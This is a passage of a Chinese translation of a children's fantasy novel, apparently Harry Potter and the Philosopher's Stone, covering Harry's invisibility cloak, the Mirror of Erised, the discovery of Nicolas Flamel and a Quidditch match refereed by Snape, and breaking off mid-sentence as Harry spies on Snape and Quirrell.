“你留着吧。”哈利说,看到罗恩欣喜若狂的样子,不由大笑起来。“海格送的,姨妈姨父送的——那么这些是谁送的呢?” “我想我知道这份是谁送的。”罗恩说,微微地红了脸,指着一个鼓鼓囊囊的大纸包。“是我妈妈。我对她说,你以为自己不会收到礼物——哦,糟糕,”他嘟哝了一声,“她给你织了一件韦斯莱家特有的那种毛衣。” 哈利扯开纸包,看见一件厚厚的鲜绿色的手编毛衣,还有一大盒自制的乳脂软糖。 “她每年都给我们织一件毛衣,”罗恩说着,打开他自己的那个纸包,“我的总是暗紫红色的。” “她真是太好了。”哈利说着,尝了一块乳脂软糖,觉得味道非常甜美。 接下来的一份礼物也是糖——是赫敏送的一大盒马蹄形巧克力。 还剩最后一个纸包。哈利把它拿起来摸了摸,分量很轻。他把纸包拆开。 某种像液体一样的、银灰色的东西簌簌地滑落到地板上,聚成一堆,闪闪发亮。罗恩倒抽一口冷气。 “我听说过这东西。”他压低声音说,把赫敏送给他的那盒怪味豆扔到了一边。“如果我想得不错——这东西是非常稀有、非常宝贵的。” “是什么?” 哈利从地板上捡起那件银光闪闪的织物。它摸在手里怪怪的,仿佛是用水编织而成。 “是一件隐形衣。”罗恩说,脸上透着敬畏的神色,“我可以肯定——把它穿上试试。” 哈利把隐形衣披在肩头,罗恩发出一声高喊。 “果然!你往下看!” 哈利低头看自己的脚,真奇怪,它们消失了。他三步两步冲到镜子前面。没错,镜子里的他只有脑袋悬在半空中,身体完全看不见了。他把隐形衣拉到头顶上,镜子里的他便完全隐去了。 “有一张纸条!”罗恩突然说道,“一张纸条从它里面掉出来了!” 哈利脱掉长袍,一把抓过那封信。上面用一种他从未见过的细长的、圈圈套圈圈的字体,写着下面几行字:你父亲死前留下这件东西给我。现在应该归还给你。好好使用。衷心祝你圣诞快乐。 没有署名。哈利瞪着纸条发呆,罗恩则对着隐形衣赞叹不已。“如果能得到这样一件东西,我什么都可以不要,”他说,“什么都可以不要。你怎么啦?” “没什么。”哈利说。他觉得这件事非常蹊跷。隐形衣是谁送来的呢?它以前真的属于他父亲吗? 没等他再说什么或再想什么,宿舍的门猛地被推开了,弗雷德和乔治韦斯莱冲了进来。哈利赶紧把隐形衣藏了起来。他还不想让别人知道。 “圣诞快乐!”“嘿,瞧——哈利也得到了一件韦斯莱毛衣!”弗雷德和乔治都穿着蓝色毛衣,一件上面有一个大大的、黄色的“F”,另一件上面有一个大大的、黄色的“G”。“哈利的比我们俩的好,”弗雷德说着,举起了哈利的毛衣,“显然,妈妈对不是自家的人更精心一些。”、“你为什么不穿上你的呢,罗恩?”乔治问道。“来吧,穿上吧,这毛衣可是又漂亮又暖和啊。” “我不喜欢暗紫红色。”罗恩半真半假地抱怨着,一边把毛衣套上脑袋。 “你的毛衣上没有字母,”乔治评论道,“她大概认为你不会忘记自己的名字。 我们也不傻——倒是她自己,经常管我们叫乔雷德和弗治。”“这里吵吵什么呢?”珀西韦斯莱从门缝里探进头来,一脸不满的神情。显然他也正在拆他的圣诞礼物,他胳膊上搭着一件鼓鼓囊囊的毛衣,弗雷德一把抓了过去。 “‘P’是级长的意思!快穿上吧,珀西,快点儿,我们都穿上了,就连哈利也得到了一件呢。”“我——不想——穿——”他含糊不清地说道,双胞胎不管三七二十一,硬是把毛衣套进珀西的脑袋,把他的眼镜都撞歪了。“而且你今天不许和级长们坐在一起,”乔治说,“圣诞节是全家团圆的日子。”他们将珀西抬着推出房间。他的手臂被毛衣束缚着,动弹不得。 哈利有生以来从未参加过这样的圣诞宴会。一百只胖墩墩的烤火鸡、堆成小山似的烤肉和煮土豆、一大盘一大盘的美味小香肠、一碗碗拌了黄油的豌豆、一碟碟又浓又稠的肉卤和越橘酱——顺着餐桌每走几步,就有大堆大堆的巫师彩包爆竹在等着你。这些奇妙的彩包爆竹可不像德思礼家通常买的那些寒酸的麻瓜爆竹,里面只有一些小塑料玩具和很不结实的纸帽子。 哈利和弗雷德一起抽了一个彩包爆竹,它不是嘭的一声闷响,而是发出了像大炮轰炸那样的爆响,把他们都吞没在一股蓝色的烟雾中,同时从里面炸出一顶海军少将的帽子,以及几只活蹦乱跳的小白鼠。在主宾席上,邓布利多将他尖尖的巫师帽换成了一顶装点着鲜花的女帽,弗立维教授刚给他说了一段笑话,他开心地嗬嗬笑着。 火鸡之后是火红的圣诞布丁。珀西的那块布丁里裹着一个月牙形的银片,差点硌碎了他的牙齿。 哈利看着海格一杯接一杯地要酒喝,脸膛越来越红,最后竟然在麦格教授的面颊上亲了一口。令哈利惊讶的是,麦格教授咯咯笑着,羞红了脸,她的高顶黑色大礼帽歪到了一边。 哈利离开餐桌时,怀里抱着一大堆从彩包爆竹里炸出来的东西,包括一袋不会爆炸的闪光气球、一个模仿肉瘤的小东西,还有一套属于他自己的巫师棋。那几只小白鼠不见了,哈利有一种很不舒服的感觉,他怀疑它们最后都成了洛丽丝夫人的圣诞晚餐。 哈利和韦斯莱兄弟几个在操场上打雪仗,疯玩了一下午,过得非常愉快。然后,他们实在冷得不行了,衣服湿漉漉的,气喘吁吁地回到公共休息室的炉火旁。哈利试了试他的新棋子,结果很惨地输给了罗恩。哈利心里嘀咕,如果没有珀西在一旁不停地瞎出主意,他还不会输得这样惨。 吃过由火鸡三明治、烤面饼、酒浸果酱布丁和圣诞蛋糕组成的茶点,大家都感到肚子太饱,有点犯困了。他们睡觉前不想再做别的,只是看着珀西追着弗雷德和乔治在格兰芬多城堡里跑来跑去,因为双胞胎抢走了珀西的级长徽章。 这是哈利有生以来最愉快的一个圣诞节。然而,一整天来,总有一件事情萦绕在他的脑海里。直到上床以后,他才有了空闲想它:那件隐形衣,以及把隐形衣送给他的那个人。 罗恩肚里塞满了火鸡和蛋糕,又没有什么奇怪的事情困扰他,所以他几乎一放下床帷就睡着了。哈利从自己床边探出身去,从床底下抽出隐形衣。 他父亲的...它以前曾是他父亲的。他让织物从他手上流过,比丝还要光滑,比光还要轻盈。 好好使用,那张纸条上这么说。 他现在必须试一试了。他悄悄从床上滑下来,把隐形衣裹在身上。他低头看自己的腿,却只看见月光和黑影。这真是一种十分奇怪的感觉。 好好使用。 突然,哈利一下子清醒了。穿上这件隐形衣,整个霍格沃茨就对他完全敞开了。他站在黑暗和寂静中,内心感到一阵兴奋。穿着这件隐形衣,他可以去任何地方。任何地方啊,费尔奇永远也不会知道。 罗恩在睡梦中嘟哝了几声。哈利想,要不要叫醒他呢?出于某种原因,哈利没有这么做——他父亲的隐形衣——他觉得这一次——这是第一次——他想独自使用。 他蹑手蹑脚地出了宿舍,走下楼梯,穿过公共休息室,爬过那个肖像洞口。 “是谁呀?”胖夫人声音粗哑地问。哈利没有吭声。他飞快地在走廊里走着。 他去哪儿呢?他停下脚步,想着,他的心怦怦乱跳。突然,他想起来了。图书馆的禁书区。他可以尽情地阅读,直到弄清勒梅是何许人。他把隐形衣紧紧裹在身上,向前走去。 图书馆内漆黑一片,阴森可怖。哈利点亮一盏灯,端着它走过一排排书架。那灯看上去就像悬浮在半空中,哈利虽然感觉到自己甩手端着它,但这景象仍然使他毛骨悚然。 禁书区在图书馆的后部。哈利小心翼翼地跨过把这些书与其他藏书隔开的绳子,举起灯照着,读着书名。 然而,他从书名上看不出头绪。那些剥落的、褪了色的烫金字母,拼出的都是哈利无法理解的单词。有些书根本没有书名。有一本书上沾着一块暗色的印渍。很像血迹,看上去非常可怕。哈利脖子后面的汗毛都竖了起来。他觉得从书里传出了一阵阵若有若无的低语,似乎那些书知道有一个不该待在那里的人待在那里——这也许是他的幻觉,也许不是。 他必须从什么地方入手。他把灯小心地放在地板上,顺着书架底部望过去,想找一本看上去有点意思的书。他突然看见一本黑色和银色相间的大书。书很沉,他费力地把它抽了出来,放在膝盖上,让它自己打开来。 一阵凄厉的、令人毛骨悚然的尖叫划破了寂静——那本书在惨叫!哈利猛地把它合上,但是尖叫声没有停止,那是一种高亢的、持续不断的、震耳欲聋的声调。他踉跄着后退了几步,灯被撞翻了,立刻就熄灭了。在惊慌失措中,他听见外面的走廊上传来了脚步声——他赶紧把那本尖叫的书插回书架,撒腿就跑。 几乎就在门口,他与费尔奇擦肩而过,费尔奇那双狂怒的浅色眼睛径直透过他的身体望出去。哈利从费尔奇张开的臂膀下溜过,沿着走廊狂奔,那本书的尖叫声仍然在他耳畔回荡。 他在一套高高的盔甲前突然刹住脚步。他刚才急于逃离图书馆,根本没有注意他在往哪儿走。也许是因为四下里太黑了,他辨不清自己身在何处。他知道厨房附近有一套盔甲,但是他现在肯定要比厨房高出五层啊。 “教授,你说过的,如果有人夜里到处乱逛,就立刻来向你汇报,刚才有人在图书馆,在禁书区。” 哈利觉得自己脸上顿时失去了血色。不管他在哪里,费尔奇肯定知道一条捷径,因为他那黏糊糊的、发腻的声音离他越来越近,而且令他大为惊恐的是,他听见了斯内普的声音在回答。 “禁书区?那么他们不可能走远,我们一定能抓住他们。” 哈利像脚底生了根似的待在原地,费尔奇和斯内普从前面的墙角拐过来了。他们看不见他,但这条走廊很窄,如果他们再走近一些,就会撞到他身上——隐形衣并没有使他的实体也消失啊。 他一步步后退,尽量不发出声音。左边有一扇门开了一条缝。这是他唯一的希望。他侧身挤了进去,小心翼翼地不把门碰动。谢天谢地,他总算进了房间。他们什么也没有注意到,径直走了过去。哈利靠在墙上,深深地吸气,听着他们的脚步声渐渐远去。刚才真惊险啊,太惊险了。几秒钟后,他才开始留意他借以藏身的这个房间里的情景。 它看上去像是一间废弃不用的教室。许多桌椅堆放在墙边,呈现出大团黑乎乎的影子,另外还有一只倒扣着的废纸篓――但是,在正对着他的那面墙上.却搁着一件似乎不属于这 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但是房间里没有人啊。他急促地喘息着,慢慢转身看着镜子。没错,镜子里有他,脸色煞白,惊恐万分,同时镜子里还有至少十来个人,站在他的身后。哈利扭头朝后看去——还是一个人也没有。难道他们也都隐形了?难道他实际上是在一间有许多隐形人的房间里,而这面镜子的法术就是把他们都照出来,不管隐形的,还是没有隐形的?他又仔细看着镜子。 在镜子里,一个站在他身后的女人正在对他微笑和招手。他伸出手去,在身后摸索着。如果那女人真的存在,哈利应该能碰到她,他们两人在镜子里挨得多么近啊,可是哈利触摸到的只有空气——那女人和其他人只存在于镜子里。 她是一个非常美丽的女人,有着深红色的头发,她的眼睛——她的眼睛长得和我一模一样,哈利想道。接着他又发现她在哭泣,她面带微笑,同时又在哭泣。站在她身边的那个黑头发的高大、消瘦的男人用手搂住她。那男人戴着眼镜,头发乱蓬蓬的,后脑勺儿的一撮头发很不听话地竖着,正和哈利的一样。哈利现在离镜子很近很近了,鼻子几乎碰到了镜子中自己的鼻子。 “妈妈?”他低声唤道,“爸爸?” 他们都看着他,亲切地微笑着。哈利慢慢地挨个儿打量镜子里其他人的脸,发现他们都有着和他一模一样的绿眼睛、一模一样的鼻子,一个小老头儿甚至还有着和哈利一模一样的凹凸不平的膝盖——哈利正在望着他的家人,这是他有生以来的第一次。 波特一家人笑眯眯地朝哈利挥手。他如饥似渴地凝视着他们,双手紧紧按在镜子玻璃上,就好像他希望能够扑进去和他们待在一起。他内心感到一阵强烈的剧痛,一半是因为喜悦,一半是因为深切的忧伤。 他在那里站了多久,他不知道。镜子里的形象始终没有隐去,他看呀看呀,怎么也看不够,直到远处传来一些声音,才使他恢复了理智。他不能待在这里,他必须回去睡觉。他恋恋不舍地把目光从他母亲脸上挪开,低声说道:“我还会再来的。”便匆匆离开了房间。 “你应该把我叫醒的。”罗恩生气地说。 “今晚你可以来,我还要去的,我想让你看看那面镜子。” “我想看看你的爸爸妈妈。”罗恩急切地说。 “我也想看看你的全家,看看韦斯莱的一大家人,你可以把你另外的几个兄弟和所有的亲戚都指给我看。” “你随时都能看到他们的,”罗恩说,“今年暑假到我们家来吧。不过,镜子里或许只能出现死人。唉,真惭愧,我们还没有找到勒梅的资料。你吃点熏咸肉或别的什么吧,你怎么什么也不吃?” 哈利吃不下去。他见到了他的父母,而且今晚还要与他们相见。他差不多把勒梅忘到了脑后。这件事似乎已经不再那么重要了。谁管那三头大狗在看守什么呢?即使斯内普把那东西偷走,又有什么关系呢?哈利最担心的是他找不到那个有镜子的房间。 第二天,因为罗恩也罩在隐形衣里,他们走得就慢多了。他们想找到哈利从图书馆出来的那条路线,在昏暗的过道里漫无目的地转了将近一个小时。 “我冻坏了,”罗恩说,“我们不找了,回去吧。” “不行!”哈利嘶哑着声音说,“我知道就在附近的什么地方。” 他们与一个从对面游荡过来的高个子巫师的幽灵擦肩而过,但没有看见其他人。 就在罗恩开始哼叫着说他的脚都要冻僵了时,哈利看见了那套盔甲。 “是这里——就是这里——没错!”他们推开门。哈利把隐形衣从肩头脱掉,飞舞到镜子前面。他们还在那里。他的妈妈和爸爸一看见他,顿时喜形于色。 “看见了吗?”哈利小声问。 “我什么也看不见。” “看呀!看呀...他们都在...有一大堆人呢...” “我只能看见你。” “好好看看,过来,站在我这个位置。”哈利让到一边,然而罗恩一站到镜子前面,哈利就再也看不见他的家人了,只看见罗恩穿着罗纹花呢睡衣站在那里。 罗恩目瞪口呆地看着镜子中的自己。“看我!”罗恩说。 “你能看见你的家人都围在你身边吗?” “没有——只有我一个人——但是跟现在不一样——我好像大了一些——我还是男生学生会主席!” “什么?”“我——我戴着比尔以前的那种徽章——手里还举着学院杯和魁地奇杯——我还是魁地奇队的队长呢!”罗恩好不容易才使自己的目光离开了这副辉煌的景象,兴奋地看着哈利。“你说,这面镜子是不是预示着未来?” “怎么可能?我家里的人都死了——让我再看看——” “你已经独自看了一晚上了,就让给我一点儿时间吧。” “你只是捧着魁地奇杯,这有什么好玩的?我想看看我的父母。” “你别推我——” 外面走廊里突然响起声音,结束了他们的争执。他们没有意识到刚才他们的说话声有多响。“快!” 罗恩刚把隐形衣披在两人身上,洛丽丝夫人那双亮晶晶的眼睛就拐进门来了。罗恩和哈利一动不动地站着,心里想着同样的念头——隐形衣对猫有作用吗?过了大约有一个世纪,洛丽丝夫人终于转身离去了。 “还是不安全——它可能去找费尔奇了,我敢肯定它听见我们的声音了。走吧。” 罗恩拉着哈利,走出了房间。 第二天早晨,雪还没有融化。 “想下棋吗?”罗恩问。 “不想。” “我们干吗不下去看看海格呢?” “不去...你去吧...” “我知道你在想什么,哈利,你在想那面镜子。今晚别再去了。” “为什么?” “我不知道。我只是有一种很不好的感觉——而且,这么多次你都是侥幸脱险。费尔奇、斯内普和洛丽丝夫人正在到处转悠。如果他们看见你怎么办?如果他们撞到你身上怎么办?” “你说话的口气像赫敏。” “我不是开玩笑,哈利,真的别去了。” 可是哈利脑海里只有一个念头,那就是回到镜子前面。罗恩是怎么也拦不住他的。 第三个晚上,哈利已是轻车熟路。他一路走得飞快,没有意识到自己发出了很响的声音,但他并没有遇到什么人。 啊,他的妈妈和爸爸又在那里对他微笑了,还有他的一个爷爷在愉快地点头。哈利一整晚都坐在镜子前面的地板上。他要整晚待在这里,和自己的家人在一起,什么也不能阻拦他。什么也不能!除非——“这么说——你又来了,哈利?” 哈利觉得自己的五脏六腑一下子冻成了冰。他朝身后看去。坐在墙边一张桌子上的,不是别人,正是阿不思·邓布利多。哈利刚才一定是径直从他身边走过的,他太急着去看镜子了,根本没有注意到他。 “我——我没有看见你,先生。” “真奇怪,隐形以后你居然还变得近视了。”邓布利多说。哈利看到他脸上带着微笑,不由地松了口气。 “这么说,”邓布利多说着,从桌子上滑下来,和哈利一起坐到地板上,“你和你之前的千百个人一样,已经发现了厄里斯魔镜的乐趣。” “我不知道它叫这个名字,先生。” “不过我猜想你现在已经知道它的魔力了吧?” “它——哦——使我看到我的家人——” “还使你的朋友罗恩看到自己变成了男生学生会主席。” “你怎么知道——” “我可不是非要隐形衣才能隐形。”邓布利多温和地说,“那么,你能不能想一想,厄里斯魔镜使我们大家看到了什么呢?” 哈利摇了摇头。 “让我解释一下吧。世界上最幸福的人可以把厄里斯魔镜当成普通的镜子使用,也就是说,他在镜子里看见的就是他自己的模样。明白点什么了吗?” 哈利在思考。然后他慢慢地说:“镜子使我们看到我们想要的东西...不管我们想要什么...” “也对,也不对,”邓布利多轻轻她说,“它使我们看到的只是我们内心深处最追切、最强烈的渴望。你从未见过你的家人,所以就看见他们站在你的周围。罗恩·韦斯莱一直在他的几个哥哥面前相形见绌,所以他看见自己独自站着,是他们中间最出色的。然而,这面镜子既不能教给我们知识,也不能告诉我们实情。人们在它面前虚度时日,为他们所看见的东西而痴迷,甚至被逼得发疯,因为他们不知道镜子里的一切是否真实,是否可能实现。” “明天镜子就要搬到一个新的地方了,哈利,我请你不要再去找它了。如果你哪天碰巧看见它,你要有心理准备。沉湎于虚幻的梦想,而忘记现实的生活,这是毫无益处的,千万记住。好了;为什么不穿上那件奇妙无比的隐形衣回去睡觉呢?” 哈利站了起来。 “先生——邓布利多教授?我可以问你一句话吗?” “那还用说,你刚才就这么做了。”邓布利多笑了,“不过,你还可以再问我一个问题。” “你照魔镜的时候,看见了什么?” “我?我看见自己拿着一双厚厚的羊毛袜。” 哈利睁大了眼睛。 “袜子永远不够穿,”邓布利多说,“圣诞节来了又去,我一双袜子也没有收到。人们坚持要送书给我。” 哈利直到回到床上以后,才突然想到邓布利多也许并没有说实话。可是,当他推开枕头上的斑斑时,又想:那是一个涉及隐私的问题啊。 14. 尼可·勒梅 邓布利多说服哈利不要再去寻找厄里斯魔镜,所以在圣诞假期剩下来的日子里,那件隐形衣就一直叠得好好的,放在箱子底部。哈利希望他能轻松地忘记他在魔镜里看到的东西,然而不能。他开始做噩梦。他一遍遍地梦见爸爸妈妈在突如其来的一道绿光中消失,同时还有一个很响的声音在嘎嘎怪笑。 “你看,邓布利多说得对,魔镜可能会使你发疯的。”当哈利把这些梦境告诉罗恩时,罗恩这么说。 赫敏在开学前一天回来了,她的看法有所不同。她心情十分复杂,一方面为哈利接连三个夜里从床上起来,在学校里游荡而感到惊恐(“费尔奇把你抓住怎么办!”),一方面又为啥利连尼可·勒梅是谁都没有弄清而深感失望。 他们几乎放弃了在图书馆可以查到勒梅的希望,尽管哈利仍然坚信自己在什么地方看到过这个名字。学期开始后,他们又恢复了利用课间休息十分钟的时间浏览图书的做法,但哈利的时间比他们俩更少,因为魁地奇训练又开始了。 伍德对队员的要求比以往任何时候都严格。即使在大雪过后连绵不断的阴雨天里,他的劲头也没有半点冷却。 韦斯莱孪生兄弟抱怨说伍德正在变成一个训练狂,但哈利却站在伍德一边。如果他们赢得下一场对赫奇帕奇的比赛,他们就能在学院杯中战胜斯莱特林队了,这可是七年以来的第一次啊。除了希望比赛取胜以外,哈利还发现,当他训练之后筋疲力尽时,噩梦就做得少了。 后来,在一次特别潮湿和泥泞的训练中,伍德告诉队员们一个坏消息。他刚才对韦斯莱孪生兄弟发了一顿脾气,因为他们不停地彼此俯冲轰炸,假装从飞天扫帚上摔下来。 “你们能不能别再胡闹了!”伍德嚷道,“这样做肯定会使我们输掉比赛!这次是斯内普当裁判,他肯定会千方百计找借口给格兰芬多队扣分的!” 乔治·韦斯莱听了这活,真的从飞天扫帚上摔了下来。 “斯内普当裁判?”他一边吐着嘴里的泥土,一边问,“他什么时候当过魁地奇比赛的裁判?如果我们有可能战胜斯莱特林队,他肯定不会公正裁决的。” 其他队员也都降落在乔治旁边,连声抱怨。 “这不能怪我。”伍德说,“我们只能保证自己在比赛中遵守规则,斯内普也就没有借口找我们的岔子了。” 这是非常正确的,哈利想,但他还有一个理由,那就是不想让斯内普在比赛时接近他...训练结束后,其他队员还在磨磨蹭蹭地聊天,哈利却直奔格兰芬多的公共休息室,他发现罗恩和赫敏正在那里下棋。赫敏只有在下棋时才会输,哈利和罗恩认为这对她很有好处。 “先别跟我说话,”哈利在罗恩身边坐下时,罗恩说道,“我需要考虑——”可他一看见哈利的脸,又说:“你怎么啦?你的脸色真可怕。”哈利压低声音,不想让别人听见,把斯内普不怀好意地突然想当魁地奇裁判的事告诉了他俩。 “别参加比赛。”赫敏立刻就说。 “就说你病了。”罗恩说。 “假装把腿摔断。”赫敏建议道。 “真的把腿摔断。”罗恩说。 “我不能这样,”哈利说,“队里没有替补的找球手。如果我退出,格兰芬多队就无法比赛了。” 就在这时,纳威一头跌进了公共休息室。大家都猜不出他是怎么从肖像洞口钻出来的,因为他的两条腿紧紧粘在一起。哈利他们一眼就看出,这是被施了锁腿魔咒。他肯定是像兔子那样一路蹦跳着上楼,进入格兰芬多城堡的。 大伙儿都笑了起来,只有赫敏没笑。她跳上前去,给纳威解咒,纳威的腿一下子分开了。他站了起来,浑身颤抖。 “怎么回事?”赫敏把他领过来,和哈利、罗恩坐在一起,一边问道。 “马尔福,”纳成声音发抖地说,“我在图书馆外面碰到他。他说他一直在找人练习练习那个咒。” “去找麦格教授!”赫敏催促纳威,“告他一状!” 纳威摇了摇头。 “我不想再惹麻烦了。”他含糊地咕哝。 “你必须勇敢地对付他,纳威!”罗恩说,“他一贯盛气凌人,我们没有理由在他面前屈服,使他轻易得逞。” “你不用对我说我胆子太小,不配待在格兰芬多,马尔福已经对我说过这个话了。”纳威哽咽着说。 哈利把手伸进长袍口袋,掏出一块马蹄形巧克力,这是圣诞节时赫敏送给他的那盒里的最后一块。哈利把它递给纳成。纳威看上去快要哭了。 “你比十二个马尔福都强,”哈利说,“分院帽把你选进了格兰芬多,是吗?马尔福在哪里呢?在令人讨厌的斯莱特林。” 纳威拆开马蹄形巧克力,嘴唇抽动着,露出一个无力的微笑。 “谢谢你。哈利...我想去睡觉了...你要卡片吗?你收集卡片的,是吗?” 纳威离去后,哈利看着那张著名巫师卡。 “又是邓布利多,”他说,“我第一次就是——” 他倒抽一口冷气,瞪着卡片背面,然后抬头看着罗恩和赫敏。 “我找到他了!”他小声说,“我找到勒梅了!我告诉过你们,我以前在什么地方看到过这个名字,原来,我是在来这儿的火车上看到的——听听这个:‘邓布利多广为人知的贡献包括:一九四五年击败黑巫师格林德沃,发现龙血的十二种用途,与合作伙伴尼可勒梅在炼金术方面卓有成效!’” 赫敏一跃而起。自从他们第一次家庭作业的成绩下来之后,她还没有这么兴奋过。 “等着!”她说,然后飞奔上楼,到女生宿舍去了。哈利和罗恩还没来得及交换一下困惑的目光,她就又冲了回来,怀里抱着一本巨大的旧书。 “我就没想到在这里找找!”她激动地低声说,“这是几星期前我从图书馆借出来的,想读着消遣的。” “消遣?”罗恩说,可是赫敏叫他安静,让她查找一个东西。她开始飞快地翻动书页,一边嘴里念念有词。 终于,她找到了。 “我知道了!我知道了!” “我们现在可以说话了吧?”罗恩没好气地说。赫敏不理睬他。“尼可·勒梅,”她像演戏一样压低声音说,“是人们所知的魔法石的唯一制造者!” 她的话并没有取得她预期的效果。 “什么石?”哈利和罗恩问。 “哦,怎么搞的,你们俩平常看不看书?瞧——读读这一段。” 她把书推给他们,哈利和罗恩读道:古代炼金术涉及魔法石的炼造,这是一种具有惊人功能的神奇物质。魔法石能把任何金属变成纯金,还能制造出长生不老药,使喝了这种药的人永远不死。 许多世纪以来,关于魔法石有过许多报道,但目前唯一仅存的一块魔法石属于著名炼金术士和歌剧爱好者尼可·勒梅先生。他去年庆祝了六百六十五岁生日,现与妻子佩雷纳尔(六百五十八岁)一起隐居于德文郡。 “明白了吗?”哈利和罗恩读完后,赫敏问道。“那条大狗一定是在看守勒梅的魔法石!我敢说是勒梅请邓布利多替他保管的,因为他们是朋友,而且他知道有人在打魔法石的主意。所以他才把魔法石从古灵阁转移了出来。” “一块石头能变出金子,还能使你永远不死!”哈利说,“怪不得斯内普也在打它的主意呢!谁都会想得到它的!” “怪不得我们在《近代巫术发展研究》里找不到勒梅,”罗恩说,“既然他已经六百六十五岁,就不能算是近代了,是吧?” 第二天上午在黑魔法防御术的课上,哈利和罗恩一边记录被狼人咬伤后的多种医治办法,一边还在讨论如果他们弄到魔法石将怎么办。直到罗恩说他要买下一个自己的魁地奇球队时,哈利才想起斯内普和即将到来的比赛。 “我必须参加比赛,”他对罗恩和赫敏说,“如果我退出,斯莱特林们就会认为我害怕了,不敢面对斯内普。我要让他们看看...而如果我们赢了,就会彻底清除他们脸上得意的笑容。” “只要我们不把你从赛场上清除就行。”赫敏说。 比赛渐渐临近,哈利虽然对罗恩和赫敏的说法满不在乎,但他的心情越来越紧张了,其他队员也不太平静。一想到要在学院杯比赛中战胜斯莱特林,大家就激动不已。在将近七年的时间里,还没有人能够打败他们。然而,有这样一个偏心的裁判,他们能成功吗?哈利不知道是他多心呢还是事实如此,似乎他不管走到哪里都会碰到斯内普。有时,他甚至怀疑斯内普在跟踪他,想独自把他抓住。 每周一次的魔药课变成了一种痛苦的折磨,斯内普对哈利的态度很恶劣。难道斯内普知道他们发现了魔法石的奥秘?哈利不明白他怎么能知道——哈利经常有一种可怕的感觉,似乎斯内普能看透别人的思想。 第二天下午,当罗恩和赫敏在更衣室外面祝他好运时,哈利知道,他们实际上在暗暗担心再也见不到他活着回来了。这佯能给他什么安慰呢?哈利穿上魁地奇球服,拿起他的光轮2000,对伍德的鼓舞士气的话根本没听进去。 与此同时,罗恩和赫敏在看台上找了个地方,就在纳威旁边。纳威不明白他们为什么显得这么沉重和担忧,也不明白他们为什么都把自己的魔杖带到赛场上来了。哈利不知道罗恩和赫敏一直在偷偷练习锁腿咒。他们从马尔福给纳威念咒这件事中获得启发,打算一旦斯内普显示出要伤害哈利的苗头,就对他念咒。 “记住,别忘了,是‘腿立僵停死’。”罗恩把魔杖插在袖子上时,赫敏小声地说。 “我知道,”罗恩不耐烦地说,“别唠叨了。” 在更衣室里,伍德把哈利拉到一边。 “不是想给你施加压力,波特,但我们今天比任何时候都需要尽快抓住飞贼。我们要速战速决,不让斯内普有时间过分偏袒赫奇帕奇。”“全校学生都出来了!”弗雷德韦斯莱朝门外窥视,说道,“就连——天哪——邓布利多也来看比赛了!”哈利的心猛地翻腾了一下。 “邓布利多?”他说着,快步冲到门口,想确认一下。弗雷德说得对。那银白色的胡子决不会有错。 哈利一下子如释重负,差点儿放声大笑起来。他没有危险了。如果邓布利多在场观看比赛,斯内普是绝对不敢伤害他的。也许正是因为这一点,当队员们排着队走向赛场时,斯内普才显得那么恼火,这点罗恩也注意到了。“我从没看见斯内普脸色这么阴沉。”他对赫敏说,“看——他们出发了。唉哟!” 有人捅了一下罗恩的后脑勺。是马尔福。 “哦,对不起,韦斯莱,没看见你在那儿。” 马尔福对克拉布和高尔咧嘴大笑。 “不知道波特这次能在他的飞天扫帚上待多久?有人愿意打赌吗?你怎么样,韦斯莱?” 罗恩没有回答;斯内普刚才判给赫奇帕奇队一个罚球,因为乔治把一只游走球对准他打了过来。赫敏十指交叉着放在膝盖上,眯起眼睛紧紧地盯着哈利。只见哈利像老鹰一样围着赛场盘旋,寻找金色飞贼。 “你知道格兰芬多队是怎么挑选队员的吗?”几分钟后,当斯内普毫无道理地又判给赫奇帕奇队一个罚球时,马尔福大声说道,“他们挑选的是那些他们觉得可怜的人。比如波特,没爹没妈,还有韦斯莱兄弟,家里没钱——你也应该入队呀,纳威·隆巴顿,因为你没有头脑。” 纳威脸涨得通红,他从椅子上转过身子,面对马尔福。 “我比十二个你加在一起都强,马尔福。”他结结巴巴地说。 马尔福、克拉布和高尔怪声怪气地大笑起来,罗恩不敢让眼睛离开赛场,嘴里说:“给他点厉害瞧瞧,纳威。” “隆巴顿,如果头脑是金子,你就比韦斯莱还要穷,这就很能说明问题了。” 罗恩一直为哈利揪着心,紧张得神经都要绷断了。 “我警告你,马尔福— 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看台上沸腾了;这将是一个新的记录,谁都不记得在哪次比赛中,飞贼这么快就被抓住了。 “罗恩,罗恩!你在哪里?比赛结束了!哈利赢了!我们赢了!格兰芬多队领先了!”赫敏尖叫着,在椅子上跳个不停,并紧紧地拥抱了一下前排的佩蒂尔。 哈利在离地面一英尺的高度从飞天扫帚上跳下来。他简直无法相信。他成功了——比赛结束了;只持续了不到五分钟。当格兰芬多学生拥进赛场时,哈利看见斯内普降落在他旁边,脸色煞白,嘴唇抿得紧紧的——接着,哈利感到一只手搭在了他的肩膀上。他抬起头来,看到了邓布利多微笑的脸。 “干得好,”邓布利多声音很轻,只有哈利一个人能听见,“很高兴看到你没有整天想着那面魔镜...生活得很充实...太好了...”斯内普愤恨地朝地上吐了口唾沫。 一小时之后,哈利独自离开更衣室,要把他的光轮2000送回扫帚棚。他的心情比任何时候都要欢快。他总算做了一件真正值得自豪的事——以后再也不会有人说他只不过是有一个响亮的名字而已。夜晚的空气从未像现在这样甜蜜。他走过潮湿的草地,刚才一小时的情景又在脑海中重现,是一些模糊不清的幸福的片断:格兰芬多学生跑过来把他架在他们的肩膀上;罗恩和赫敏在远处跳上跳下,罗恩一边淌着鼻血,一边欢呼雀跃。 哈利已经来到了扫帚棚。他靠在木门上,抬头望着霍格沃茨,那些窗户在夕阳的辉映下闪着红光。格兰芬多队领先了。他成功了,他使斯内普看到...说到斯内普...一个戴着兜帽的身影迅速走下城堡的正门台阶,显然是不想让人看见,飞快地直奔禁林而去。 哈利注视着,心头胜利的喜悦渐渐消失了。他认出了那个身影的鬼鬼祟祟的步态。正是斯内普。他趁别人吃晚饭的时候,偷偷溜往禁林——他想干什么?哈利跳回到飞天扫帚上,腾地起飞了。 他悄无声息地滑过城堡上空,看见斯内普奔跑着进了禁林。他跟了过去。 树木太茂密了,他看不清斯内普去了哪里。他盘旋着,越来越低,擦着树梢飞翔,最后终于听见了有人说话的声音。他轻盈地朝他们飞去,静悄悄地落在一棵高耸的山毛榉上。 他小心地顺着一根树枝往前爬,手里紧紧抓住飞天扫帚,他想透过树叶往下看。 下面,在一片布满阴影的空地上,站着斯内普,但他并不是一个人。奇洛也在那里。哈利看不清他脸上的表情,但他结巴得比任何时候都厉害。哈利全神贯注地听他们在说什么。 “...不——不知道你为什么要、要——要选在这里见面,西弗勒斯...” 